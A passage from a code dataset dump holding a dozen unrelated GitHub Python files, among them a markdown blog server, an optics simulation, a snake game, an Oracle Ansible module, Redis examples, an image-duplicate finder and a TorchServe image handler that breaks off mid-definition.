NotificationError(ex)\n","repo_name":"Spotrix/spotrix","sub_path":"spotrix/reports/notifications/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":3705,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"78"} +{"seq_id":"8725899370","text":"#coding:utf-8\nimport datetime\nimport sys\nimport os\nsys.path.append(os.path.dirname(__file__))\nimport shutil\nimport web\nimport markdown2\nperpage = 5\ntry:\n import conf\n path = conf.path\n css_path = conf.csspath\n web.config.debug=conf.debug\n domain = conf.domain\n suffix = conf.suffix\nexcept:\n icopath = './'\n path = './md'\n css_path = './css'\n web.config.debug=True\n domain ='http://127.0.0.1:8080'\n suffix = '.md'\n\nclass base:\n def __init__(self):\n self.entities = []\n if not os.path.isdir(path):\n os.mkdir(path)\n for p in os.listdir(path):\n if os.path.isdir(p):\n continue\n ext = os.path.splitext(p)[1]\n if ext == suffix:\n self.entities.append(os.path.join(path,p))\n self.entities.sort(reverse=True)\n def entity(self, idx):\n return self.generate(idx, idx+1)\n def entities(self):\n return self.generate(0, len(self.entities))\n def generate(self, begin, end):\n es = [] #entities in page\n if len(self.entities) == 0:\n return es\n for i in range(begin, end):\n e = {}\n e['date'] = os.path.splitext(self.entities[i])[0].replace(path+os.sep, '')[:10]\n with open(self.entities[i], 'rb') as f:\n e['id'] = os.path.splitext(os.path.basename(self.entities[i]))[0]\n title = f.readline()\n title_tag = f.readline()\n image = f.readline()\n e['title'] = title #markdown2.markdown(title)\n e['image'] = markdown2.markdown(image).replace('', '').replace('

    ', '')\n content = title + title_tag + image + f.read()\n c = markdown2.markdown(content)#.replace('= count - 1:\n n = False\n return render.entity(base.entity(self,idx), idx, p, n)\n except:\n return render.index(base.entities(self))\n\nurls = (\n '/(.*.JPEG)', static,\n '/(.*.jpeg)', static,\n '/(.*.jpg)', static,\n '/(.*.css)', static,\n '/(favicon.ico)', static,\n '/feed', feed,\n '/rss', feed,\n '/(robots.txt)',static,\n '/(.*)',cook,\n\n)\napp = web.application(urls, globals())\nif __name__ == '__main__':\n app.run()\nelse:\n application = app.wsgifunc()\n","repo_name":"codepongo/cook","sub_path":"script/cook.py","file_name":"cook.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25275691345","text":"import numpy as np\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom Espejo import EspejoResonador\n\n\"\"\"\n SIMULACION DE UN RESONADOR OPTICO CONFOCAL CURVO\nSe ha simulado un resonador cofocal curvo con espejos circulares estudiando la\nintesidad obtenida en los espejos tras un numero de reflexiones. Se ha\ncomparado la intesidad obtenida utilizando los espejos alineados y con un\nmovimiento aleatorio de los espejos de 0.25 grado. Para ello se ha tomado el\ncampo promedio tras tomar 20 medidas con el movimiento aleatorio.\n\n@author Jaimedgp\n\"\"\"\n\nclass RepresentarGraficas():\n\n def __init__(self, x, y):\n self.x, self.y = x, y\n\n self.fig = plt.figure()\n\n\n def insertarGrafica(self, subplot, campo):\n # Mostrar la imagen rotandola\n self.fig.add_subplot(subplot).imshow(abs(campo), cmap=plt.cm.jet)\n\n # show the 3D rotated projection\n self.fig.add_subplot(subplot+1, projection='3d').plot_surface(self.x,\n self.y, abs(campo), rstride=1, cstride=1,\n cmap=plt.cm.jet, linewidth=0,\n antialiased=False, shade=False)\n\n def guardarGraficas(self, nombre):\n self.fig.savefig('./Graficas/'+nombre+'.png', dpi=600)\n\ndef guardarDatos(IntAle1, IntAle2, IntMed1, IntMed2, Intensidad1,\n Intensidad2, nombre):\n\n with open(\"./Datos/\"+nombre+\".txt\", \"w\") as fw:\n fw.write(\"Datos de las intensidades de los espejos.\\n\")\n fw.write(\"Espejo 1:\\n\")\n fw.write(\"\\tIntensidad Media = %s \\t Intensidad = %s \\t \\\n I_0/I = %s\\n\" %(IntMed1, Intensidad1, (IntMed1/Intensidad1)))\n fw.write(\"Espejo 2:\\n\")\n fw.write(\"\\tIntensidad Media = %s \\t Intensidad = %s \\t \\\n I_0/I = %s\\n\" %(IntMed2, Intensidad2, (IntMed2/Intensidad2)))\n fw.write(\"#########################################################\\n\")\n\n fw.write('Espejo 1 \\t Espejo2 \\n')\n fw.write('__________________________________________\\n')\n for i in range(len(IntAle1)):\n fw.write(\"%s \\t %s\\n\" %((IntAle1[i]),(IntAle2[i])))\n\ndef ResonarEnEspejos(numReflexiones, movimiento=True):\n #crear los espejos del resonador con curvatura 0.01 y forma circular\n Espejo1 = EspejoResonador(curvatura=0.01)\n Espejo1.lenteCircular() #utilizar lente circular\n Espejo2 = EspejoResonador(curvatura=0.01)\n Espejo2.lenteCircular() #utilizar lente circular\n\n #primer rebote\n rebote1 = Espejo1.rebotes(Espejo1.lente)\n rebote1 = np.fft.fftshift(rebote1)\n rebote2 = Espejo2.rebotes(rebote1) # rebote en el espejo2\n\n for i in range(0, numReflexiones-1):\n if movimiento:\n # El movimiento aleatorio de los dos espejos en un intervalo de 0.25 \n # grado se simula moviendo un solo espejo en un rango de 0.5 grados\n Espejo1.moverEspejoAleatorio(0.5)\n\n rebote1 = Espejo1.rebotes(rebote2) # rebote en el espejo1\n\n rebote2 = Espejo2.rebotes(rebote1) # rebote en el espejo2\n\n return rebote1, rebote2\n\n\n#########################################\n##### MAIN DEL PROGRAMA #####\n#########################################\n\nnumEvents = 20 # numero de eventos con el movimiento aleatorio\nnumReflexiones = 25 # numero de reflexiones en los espejos\n\n# Arrays para almanezar los campos de los eventos con movimiento aleatorio\nAleatoria1 = [None for i in range(numEvents)] # en espejo 1\nAleatoria2 = [None for i in range(numEvents)] # en espejo 2\n\nIntensidad1, Intensidad2 = ResonarEnEspejos(numReflexiones, False) # resonar sin mover espejos\n\nfor i in range(len(Aleatoria1)):\n\n Aleatoria1[i], Aleatoria2[i] = ResonarEnEspejos(numReflexiones)\n\nAleMed1 = sum(Aleatoria1)/numEvents\nAleMed2 = sum(Aleatoria2)/numEvents\n\n#-------------------------------\n# GUARDAR INTENSIDADES\n#-------------------------------\n\nIntAle1 = [ abs(np.max(Aleatoria1[i])) for i in range(len(Aleatoria1))]\nIntAle2 = [ abs(np.max(Aleatoria2[i])) for i in range(len(Aleatoria2))]\n\nguardarDatos(IntAle1, IntAle2, abs(np.max(AleMed1)), abs(np.max(AleMed2))\n , abs(np.max(Intensidad1)), abs(np.max(Intensidad2)), \"DatosEspejo\")\n\n#-------------------------------\n# REPRESENTAR LOS CAMPOS\n#-------------------------------\n\n# crear los ejes\nx = np.arange(0, len(AleMed1))\ny = np.arange(0, len(AleMed1))\nx, y = np.meshgrid(x, y)\n\nGraficas = RepresentarGraficas(x, y)\n\n# CAMPOS EN ESPEJO 1\n\nGraficas.insertarGrafica(221, Intensidad1) # representar campo sin movimiento\n\nGraficas.insertarGrafica(223, AleMed1) # campo con movimiento\n\nGraficas.guardarGraficas(\"Espejo1\")\n\n# CAMPOS EN ESPEJO 2\n\nGraficas.fig.clf() #borrar subplot actual en caso de existir\n\nGraficas.insertarGrafica(221, Intensidad2) # representar campo sin movimiento\n\nGraficas.insertarGrafica(223, AleMed2) # campo con movimiento\n\nGraficas.guardarGraficas(\"Espejo2\")\n","repo_name":"Jaimedgp/Last-Course-University","sub_path":"Fotonica/ResonadorSim/MainResonador.py","file_name":"MainResonador.py","file_ext":"py","file_size_in_byte":5013,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5553797634","text":"from game import Game\nimport pygame\nfrom copy import copy\nfrom food import Food\n\nclass Snake_class:\n def __init__(self, pos):\n self.head = Snake_head(pos)\n self.tail = []\n\n @property\n def looking_at(self):\n return self.head.looking_at\n\n @looking_at.setter\n def looking_at(self, dir):\n anti_direction = [-i for i in self.looking_at]\n if dir != anti_direction:\n self.head.looking_at = dir\n\n @property\n def tail_pos(self):\n return [i.pos for i in self.tail]\n\n def update(self):\n for i, p in sorted(enumerate(self.tail), reverse = True):\n if i != 0:\n p.pos = copy(self.tail[i-1].pos)\n else:\n p.pos = copy(self.head.pos)\n self.head.update()\n\n if self.head.pos == Food.pos:\n self.tail.append(Snake_part())\n Food.place_again(self)\n\n\n def draw(self):\n [part.draw() for part in self.tail]\n self.head.draw()\n\nclass Snake_part:\n def __init__(self, pos = (-1, -1)):\n self.pos = list(pos)\n\n\n def draw(self):\n window = pygame.display.get_surface()\n pygame.draw.rect(window, (0, 255, 0),\n [self.pos[0] * Game.x_spacing, self.pos[1] * Game.y_spacing,\n Game.x_spacing+1, Game.y_spacing+1])\n\nclass Snake_head:\n def __init__(self, pos, looking_at = [0, -1]):\n self.pos = list(pos)\n self.looking_at = list(looking_at)\n\n def update(self):\n self.pos[0] += self.looking_at[0]\n self.pos[1] += self.looking_at[1]\n if self.pos[0] < 0:\n self.pos[0] = Game.cols - 1\n elif self.pos[0] >= Game.cols:\n self.pos[0] = 0\n if self.pos[1] < 0:\n self.pos[1] = Game.rows - 1\n elif self.pos[1] >= Game.rows:\n self.pos[1] = 0\n\n def draw(self):\n window = pygame.display.get_surface()\n abs_pos = [self.pos[0] * Game.x_spacing, self.pos[1] * Game.y_spacing]\n # Head center\n pygame.draw.rect(window, (0, 255, 0),\n [*abs_pos, Game.x_spacing+1, Game.y_spacing+1])\n\n # Eyes\n eye_rect = pygame.Rect(0, 0, Game.x_spacing/10, Game.y_spacing/10)\n abs_rect = pygame.Rect(*abs_pos, Game.x_spacing, Game.y_spacing)\n eye_rect.center = abs_rect.center\n eye_moving = [abs_rect.w/4, abs_rect.h/4]\n # looking up\n if self.looking_at == [0, -1]:\n # left eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(-eye_moving[0], -eye_moving[1]))\n # Right eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(eye_moving[0], -eye_moving[1]))\n # looking down\n if self.looking_at == [0, 1]:\n # left eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(-eye_moving[0], eye_moving[1]))\n # Right eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(eye_moving[0], eye_moving[1]))\n # looking rigt\n if self.looking_at == [1, 0]:\n # left eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(eye_moving[0], -eye_moving[1]))\n # Right eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(eye_moving[0], eye_moving[1]))\n # looking left\n if self.looking_at == [-1, 0]:\n # left eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(-eye_moving[0], eye_moving[1]))\n # Right eye\n pygame.draw.rect(window, (0, 0, 0), eye_rect.move(-eye_moving[0], -eye_moving[1]))\n\nSnake = Snake_class((Game.cols//2, Game.rows//2))\n","repo_name":"asaltanubes/pysnake","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":3616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42513878329","text":"from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n \"metadata_version\": \"1.1\",\n \"status\": [\"preview\"],\n \"supported_by\": \"community\",\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: oci_apm_traces_quick_pick_facts\nshort_description: Fetches details about one or multiple QuickPick resources in Oracle Cloud Infrastructure\ndescription:\n - Fetches details about one or multiple QuickPick resources in Oracle Cloud Infrastructure\n - Returns a list of predefined Quick Pick queries intended to assist the user\n to choose a query to run. There is no sorting applied on the results.\nversion_added: \"2.9.0\"\nauthor: Oracle (@oracle)\noptions:\n apm_domain_id:\n description:\n - The APM Domain ID the request is intended for.\n type: str\n required: true\nextends_documentation_fragment: [ oracle.oci.oracle ]\n\"\"\"\n\nEXAMPLES = \"\"\"\n- name: List quick_picks\n oci_apm_traces_quick_pick_facts:\n # required\n apm_domain_id: \"ocid1.apmdomain.oc1..xxxxxxEXAMPLExxxxxx\"\n\n\"\"\"\n\nRETURN = \"\"\"\nquick_picks:\n description:\n - List of QuickPick resources\n returned: on success\n type: complex\n contains:\n quick_pick_name:\n description:\n - Quick Pick name for the query.\n returned: on success\n type: str\n sample: quick_pick_name_example\n quick_pick_query:\n description:\n - Query for the Quick Pick.\n returned: on success\n type: str\n sample: quick_pick_query_example\n sample: [{\n \"quick_pick_name\": \"quick_pick_name_example\",\n \"quick_pick_query\": \"quick_pick_query_example\"\n }]\n\"\"\"\n\nfrom ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils\nfrom ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import (\n OCIResourceFactsHelperBase,\n get_custom_class,\n OCIAnsibleModule,\n)\n\ntry:\n from oci.apm_traces import QueryClient\n\n HAS_OCI_PY_SDK = True\nexcept ImportError:\n HAS_OCI_PY_SDK = False\n\n\nclass QuickPickFactsHelperGen(OCIResourceFactsHelperBase):\n \"\"\"Supported operations: list\"\"\"\n\n def get_required_params_for_list(self):\n return [\n \"apm_domain_id\",\n ]\n\n def list_resources(self):\n optional_list_method_params = []\n optional_kwargs = dict(\n (param, self.module.params[param])\n for param in optional_list_method_params\n if self.module.params.get(param) is not None\n )\n return oci_common_utils.list_all_resources(\n self.client.list_quick_picks,\n apm_domain_id=self.module.params.get(\"apm_domain_id\"),\n **optional_kwargs\n )\n\n\nQuickPickFactsHelperCustom = get_custom_class(\"QuickPickFactsHelperCustom\")\n\n\nclass ResourceFactsHelper(QuickPickFactsHelperCustom, QuickPickFactsHelperGen):\n pass\n\n\ndef main():\n module_args = oci_common_utils.get_common_arg_spec()\n module_args.update(dict(apm_domain_id=dict(type=\"str\", required=True),))\n\n module = OCIAnsibleModule(argument_spec=module_args)\n\n if not HAS_OCI_PY_SDK:\n module.fail_json(msg=\"oci python sdk required for this module.\")\n\n resource_facts_helper = ResourceFactsHelper(\n module=module,\n resource_type=\"quick_pick\",\n service_client_class=QueryClient,\n namespace=\"apm_traces\",\n )\n\n result = []\n\n if resource_facts_helper.is_list():\n result = resource_facts_helper.list()\n else:\n resource_facts_helper.fail()\n\n module.exit_json(quick_picks=result)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"oracle/oci-ansible-collection","sub_path":"plugins/modules/oci_apm_traces_quick_pick_facts.py","file_name":"oci_apm_traces_quick_pick_facts.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"78"} +{"seq_id":"37730124967","text":"import random\nfrom datetime import datetime\nimport time\nimport requests\n\n\nheaders = {'Accept': 'application/json'}\npump = ['ON', 'OFF']\n\nfor i in range(0, 24):\n\n dt = datetime(2023, 4, 15, i, 0, 0, 0)\n print('Input Datetime:', dt)\n\n # convert datetime to ISO date\n iso_date = dt.isoformat()\n print('ISO Date:', iso_date)\n json = {\n \"Value\": pump[random.randint(0, 51) % 2],\n \"CreatedAt\": iso_date+\"+07:00\"\n }\n res = requests.post('http://127.0.0.1:8080/api/pumps',\n headers=headers, json=json)\n print(res.json())\n","repo_name":"PongthepNuchwet/go-sensor","sub_path":"randomData.py","file_name":"randomData.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28439292678","text":"from typing import List\n\nNODE_TYPE_TYPE = 1\nNODE_TYPE_NAT_CONST = 2\nNODE_TYPE_VAR_TYPE = 3\nNODE_TYPE_VAR_NUM = 4\nNODE_TYPE_ARRAY = 5\n\nID_VAR_NUM = 0x70659EFF\nID_VAR_TYPE = 0x2CECF817\nID_INT = 0xA8509BDA\nID_LONG = 0x22076CBA\nID_DOUBLE = 0x2210C154\nID_STRING = 0xB5286E24\nID_VECTOR = 0x1CB5C415\nID_DICTIONARY = 0x1F4C618F\nID_MAYBE_TRUE = 0x3F9C8EF8\nID_MAYBE_FALSE = 0x27930A7B\nID_BOOL_FALSE = 0xBC799737\nID_BOOL_TRUE = 0x997275B5\n\nFLAG_OPT_VAR = 1 << 17\nFLAG_EXCL = 1 << 18\nFLAG_NOVAR = 1 << 21\nFLAG_DEFAULT_CONSTRUCTOR = 1 << 25\nFLAG_BARE = 1 << 0\nFLAG_COMPLEX = 1 << 1\nFLAGS_MASK = (1 << 16) - 1\n\n\nclass TlBase:\n def __repr__(self):\n return f'<{__name__}.{type(self).__name__}> {vars(self)}'\n\n def __str__(self):\n return repr(self)\n\n\nclass TlTree(TlBase):\n def __init__(\n self,\n flags: int, # orig int32_t\n ):\n self.flags = flags\n\n def get_type(self):\n raise NotImplementedError\n\n\nclass TlTreeType(TlTree):\n def __init__(\n self,\n flags: int,\n type_: 'TlType',\n child_count: int, # unused count of items to create list\n ):\n super().__init__(flags)\n self.type = type_\n self.children = []\n\n def get_type(self):\n return NODE_TYPE_TYPE\n\n\nclass TlTreeNatConst(TlTree):\n def __init__(\n self,\n flags: int,\n num: int,\n ):\n super().__init__(flags)\n self.num = num\n\n def get_type(self):\n return NODE_TYPE_NAT_CONST\n\n\nclass TlTreeVarType(TlTree):\n def __init__(\n self,\n flags: int,\n var_num: int,\n ):\n super().__init__(flags)\n self.var_num = var_num\n\n def get_type(self):\n return NODE_TYPE_VAR_TYPE\n\n\nclass TlTreeVarNum(TlTree):\n def __init__(\n self,\n flags: int,\n var_num: int,\n diff: int,\n ):\n super().__init__(flags)\n self.var_num = var_num\n self.diff = diff\n\n def get_type(self):\n return NODE_TYPE_VAR_NUM\n\n\nclass TlTreeArray(TlTree):\n def __init__(\n self,\n flags: int,\n multiplicity: TlTree,\n a: List['Arg'],\n ):\n super().__init__(flags)\n self.multiplicity = multiplicity\n self.args = a\n\n def get_type(self):\n return NODE_TYPE_ARRAY\n\n\nclass Arg(TlBase):\n def __init__(\n self,\n name: str = None,\n flags: int = None, # orig int32_t\n var_num: int = None,\n exist_var_num: int = None,\n exist_var_bit: int = None,\n type: 'TlType' = None,\n ):\n self.name = name\n self.flags = flags\n self.var_num = var_num\n self.exist_var_num = exist_var_num\n self.exist_var_bit = exist_var_bit\n self.type = type\n\n\nclass TlCombinator(TlBase):\n def __init__(\n self,\n id_: int = None, # orig int32_t\n name: str = None,\n var_count: int = None,\n type_id: int = None, # orig int32_t\n args: List['Arg'] = None,\n result: 'TlTree' = None,\n ):\n self.id = id_\n self.name = name\n self.var_count = var_count\n self.type_id = type_id\n self.args = args\n self.result = result\n\n\nclass TlType(TlBase):\n def __init__(\n self,\n id_: int = None, # orig int32_t\n name: str = None,\n arity: int = None,\n flags: int = None, # orig int32_t\n simple_constructors: int = None,\n constructors_num: int = None, # orig size_t\n constructors: List['TlCombinator'] = None,\n ):\n self.id = id_\n self.name = name\n self.arity = arity\n self.flags = flags\n self.simple_constructors = simple_constructors\n self.constructors_num = constructors_num\n self.constructors = constructors\n\n def add_constructor(self, new_constructor: 'TlCombinator') -> None:\n self.constructors.append(new_constructor)\n","repo_name":"MarshalX/tlo","sub_path":"python/tlo/tl_core.py","file_name":"tl_core.py","file_ext":"py","file_size_in_byte":3895,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"34425155926","text":"#카펫\ndef solution(brown, yellow):\n answer = []\n total = brown + yellow # a * b = total\n for b in range(1,total+1):\n if (total / b) % 1 == 0: # total / b = a\n a = total / b\n if a >= b: # a >= b\n if 2*a + 2*b == brown + 4: # 2*a + 2*b = brown + 4 \n return [a,b]\n \n return answer\n\n\n# 코드실행은 됬으나 실패\ndef solution(brown, yellow):\n answer = []\n \n import math\n total_grid = brown + yellow\n root = total_grid ** (1/2)\n \n width = math.ceil(root)\n vertical = math.floor(root)\n \n for i in range(width, total_grid+1):\n if len(answer) == 0:\n for j in range(vertical+1, 0,-1):\n if i * j == total_grid:\n answer.append(i)\n answer.append(j)\n break\n else:\n break\n return answer","repo_name":"gwonihan/TIL","sub_path":"Algorithm/스터디/프로그래머스/level2/카펫.py","file_name":"카펫.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"72444479612","text":"from walrus import *\ndb = Database(host='localhost', port=6379, db=0)\n\ndb['test']=11\n\nredis_list = db.List('test_list')\n\nredis_list.append('22')\nredis_list.extend([22,44])\n\nredis_set = db.Set('test_set')\n\nredis_set.add(22)\nredis_set.remove(22)\n\nredis_sorted_set = db.ZSet('test_sorted_set')\nredis_sorted_set.add({'w': 11,\"e\": 33})","repo_name":"DanielSoltysiak/aplikacje-internetowe-21672-185ic","sub_path":"Lab7/Tutoriale/TutorialNr10/1Walrus.py","file_name":"1Walrus.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71049993531","text":"\n\n\n\n\nimport glob\n\nimport itertools\n\nimport collections\n\n\n\nfrom PIL import Image\n\nimport cv2\n\nfrom tqdm import tqdm_notebook as tqdm\n\nimport pandas as pd\n\nimport numpy as np\n\nimport torch\n\nimport imagehash\n\n\n\nimport matplotlib.pyplot as plt\ndef run():\n\n\n\n funcs = [\n\n imagehash.average_hash,\n\n imagehash.phash,\n\n imagehash.dhash,\n\n imagehash.whash,\n\n #lambda x: imagehash.whash(x, mode='db4'),\n\n ]\n\n\n\n petids = []\n\n hashes = []\n\n for path in tqdm(glob.glob('../input/*_images/*-1.jpg')):\n\n\n\n image = Image.open(path)\n\n imageid = path.split('/')[-1].split('.')[0][:-2]\n\n\n\n petids.append(imageid)\n\n hashes.append(np.array([f(image).hash for f in funcs]).reshape(256))\n\n\n\n return petids, np.array(hashes)\n\n\n\nhashes_all = torch.Tensor(hashes_all.astype(int)).cuda()\nindices1 = np.where(sims > 0.9)\n\nindices2 = np.where(indices1[0] != indices1[1])\n\npetids1 = [petids[i] for i in indices1[0][indices2]]\n\npetids2 = [petids[i] for i in indices1[1][indices2]]\n\ndups = {tuple(sorted([petid1,petid2])):True for petid1, petid2 in zip(petids1, petids2)}\n\nprint('found %d duplicates' % len(dups))\ntrain = pd.read_csv('../input/train/train.csv')\n\ntest = pd.read_csv('../input/test/test.csv')\n\n\n\ntrain.loc[:,'Category'] = 'train'\n\ntest.loc[:,'Category'] = 'test'\n\ntest.loc[:,'AdoptionSpeed'] = np.nan\n\n\n\ndf = pd.concat([train, test], sort=False)\ndetail = {petid:df[df.PetID == petid].iloc[0] for petid in itertools.chain.from_iterable(list(dups))}\ndef show(row1, row2):\n\n\n\n print('PetID: %s / %s' % (row1.PetID, row2.PetID))\n\n print('Name: %s / %s' % (row1.Name, row2.Name))\n\n print('Category: %s / %s' % (row1.Category, row2.Category))\n\n print('AdoptionSpeed: %s / %s' % (row1.AdoptionSpeed, row2.AdoptionSpeed))\n\n print('Breed1: %d / %d' % (row1.Breed1, row2.Breed1))\n\n print('Age: %d / %d' % (row1.Age, row2.Age))\n\n print('RescuerID:\\n%s\\n%s' % (row1.RescuerID, row2.RescuerID))\n\n \n\n image1 = cv2.imread('../input/%s_images/%s-1.jpg' % (row1.Category, row1.PetID))\n\n image2 = cv2.imread('../input/%s_images/%s-1.jpg' % (row2.Category, row2.PetID))\n\n image1 = cv2.cvtColor(image1, cv2.COLOR_BGR2RGB)\n\n image2 = cv2.cvtColor(image2, cv2.COLOR_BGR2RGB)\n\n \n\n fig = plt.figure(figsize=(10, 20))\n\n fig.add_subplot(1,2,1)\n\n plt.imshow(image1)\n\n fig.add_subplot(1,2, 2)\n\n plt.imshow(image2)\n\n plt.show()\nfor petid1, petid2 in sorted(list(dups)):\n\n row1 = detail[petid1]\n\n row2 = detail[petid2]\n\n if row1.Category != row2.Category:\n\n show(row1, row2)\ncounter = collections.Counter()\n\nfor petid1, petid2 in list(dups):\n\n row1 = detail[petid1]\n\n row2 = detail[petid2]\n\n \n\n for attr in train.columns:\n\n if getattr(row1, attr) != getattr(row2, attr):\n\n counter[attr] += 1\n\n \n\ncounter\nfor petid1, petid2 in list(dups)[:20]:\n\n row1 = detail[petid1]\n\n row2 = detail[petid2]\n\n if row1.Description != row2.Description:\n\n print(row1.Description)\n\n print('-'*5)\n\n print(row2.Description)\n\n print('\\n')\nimport json\n\nout = [[petid1,petid2] for petid1,petid2 in dups.keys()]\n\nwith open('dups.json', 'w') as fp:\n\n fp.write(json.dumps(out))","repo_name":"aorursy/new-nb-1","sub_path":"appian_let-s-find-out-duplicate-images-with-imagehash.py","file_name":"appian_let-s-find-out-duplicate-images-with-imagehash.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35741383822","text":"\"\"\"\nTests for aiter datapipes.\n\"\"\"\nimport pytest\n\nfrom bambooflow.datapipes import AsyncIterableWrapper, AsyncIterDataPipe\n\n\n# %%\n@pytest.fixture(scope=\"function\", name=\"datapipe\")\ndef fixture_datapipe():\n \"\"\"\n An instance of an AsyncIterDataPipe to use in the tests.\n \"\"\"\n\n class AIDP(AsyncIterDataPipe):\n def __aiter__(self):\n return self\n\n datapipe = AIDP()\n return datapipe\n\n\ndef test_asynciterdatapipe_getattr_error(datapipe):\n \"\"\"\n Ensure that the __getattr__ method of an AsyncIterDataPipe raises an\n AttributeError when an invalid attribute is called.\n \"\"\"\n with pytest.raises(\n AttributeError, match=\"'AIDP' object has no attribute 'invalid'\"\n ):\n datapipe.invalid()\n\ndef test_asynciterdatapipe_repr(datapipe):\n \"\"\"\n Ensure that the __repr__ method of an AsyncIterDataPipe returns a string\n with the qualified name of the class.\n \"\"\"\n assert repr(datapipe) == \"fixture_datapipe..AIDP\"\n\n\nasync def test_asynciterablewrapper():\n \"\"\"\n Ensure that AsyncIterableWrapper can wrap an iterable object into an\n AsyncIterDataPipe that yields awaitable objects.\n \"\"\"\n dp = AsyncIterableWrapper(iterable=range(2))\n\n # Using aiter/anext\n it = aiter(dp)\n number = await anext(it)\n assert number == 0\n\n # Using async for-loop, note that datapipe is not reset\n async for number in dp:\n assert number == 1\n\n # Running beyond the length of the iterable should raise StopAsyncIteration\n with pytest.raises(StopAsyncIteration):\n await anext(it)\n","repo_name":"weiji14/bambooflow","sub_path":"bambooflow/tests/test_datapipes_aiter.py","file_name":"test_datapipes_aiter.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"26023998102","text":"from django.shortcuts import render, render_to_response\nfrom django.template import RequestContext\nfrom django.conf.urls import patterns\nfrom Cafe_search import adminn as admin\n\nfrom Cafe_search.models import person, group, event, clue\n\nclass ClueReviewAdmin(admin.ModelAdmin):\n review_template = 'admin/review.html'\n \n def get_urls(self):\n urls = super(ClueReviewAdmin, self).get_urls()\n my_urls = patterns('',\n (r'\\d+/review/$', self.admin_site.admin_view(self.review)),\n )\n return my_urls + urls\n\n def review(self, request):\n rawid = int(request.path.split('/')[3])\n form = self.get_form(request)\n clueobj = clue.objects.get(pk=rawid)\n persons = clueobj.cluePerson.all()\n groups = clueobj.clueGroup.all()\n events = clueobj.clueEvent.all()\n b = {\n 'clueIdenty':clueobj.clueIdenty,\n 'clueTime': clueobj.clueTime,\n 'clueSource': clueobj.clueSource,\n }\n \n return render_to_response(self.review_template, {\n 'persons': persons , \n 'events': events,\n 'groups': groups,\n 'clueIdenty':clueobj.clueIdenty,\n 'clueTime': clueobj.clueTime,\n 'clueSource': clueobj.clueSource,\n }, context_instance = RequestContext(request))\n\n","repo_name":"dtbinh/test","sub_path":"Cafe/Cafe_search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28487693848","text":"import time\nimport io\nimport base64\n\nimport numpy as np\nimport cv2\n#from PIL import Image\nimport torch\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as tf\nfrom ts.torch_handler.base_handler import BaseHandler\n\n\nclass ModelHandler(BaseHandler):\n \"\"\"\n A custom model handler implementation.\n \"\"\"\n\n stride = 32\n auto = False\n\n def __init__(self):\n super().__init__()\n self._context = None\n self.initialized = False\n self.batch_size = 1\n self.im0_size = None\n self.img_size = 640\n self.transforms = None\n\n def preprocess(self, data):\n\n ims = []\n\n transform = tf.Compose([\n tf.ToTensor(),\n tf.Resize((self.img_size, self.img_size))\n ])\n\n # handle if images are given in base64, etc.\n for row in data:\n # Compat layer: normally the envelope should just return the data\n # directly, but older versions of Torchserve didn't have envelope.\n im0 = row.get(\"data\") or row.get(\"body\")\n if isinstance(im0, str):\n # if the image is a string of bytesarray.\n im0 = base64.b64decode(im0)\n\n # If the image is sent as bytesarray\n if isinstance(im0, (bytearray, bytes)):\n #im0 = Image.open(io.BytesIO(im0))\n im0 = np.frombuffer(im0, dtype = np.uint8)\n im0 = cv2.imdecode(im0, cv2.IMREAD_COLOR)\n else:\n # if the image is a list\n im0 = torch.FloatTensor(im0) \n\n self.im0_size = im0.shape\n if self.transforms:\n im = self.transforms(im0) # transforms\n else:\n im = letterbox(im0, self.img_size, stride=self.stride, auto=self.auto)[0] # padded resize\n im = im.transpose((2, 0, 1))[::-1] # HWC to CHW, BGR to RGB\n im = np.ascontiguousarray(im) # contiguous\n\n ims.append(torch.from_numpy(im))\n \n ims = torch.stack(ims).to(self.device)\n #im = im.half() if self.model.fp16 else im.float() # uint8 to fp16/32\n ims = ims.float()\n ims /= 255 # 0 - 255 to 0.0 - 1.0\n if len(ims.shape) == 3:\n ims = ims[None] # expand for batch dim\n\n #return path, im, im0, self.cap, s\n return ims\n\n def inference(self, data):\n with torch.no_grad():\n results = self.model(data)[:2]\n return results\n\n def 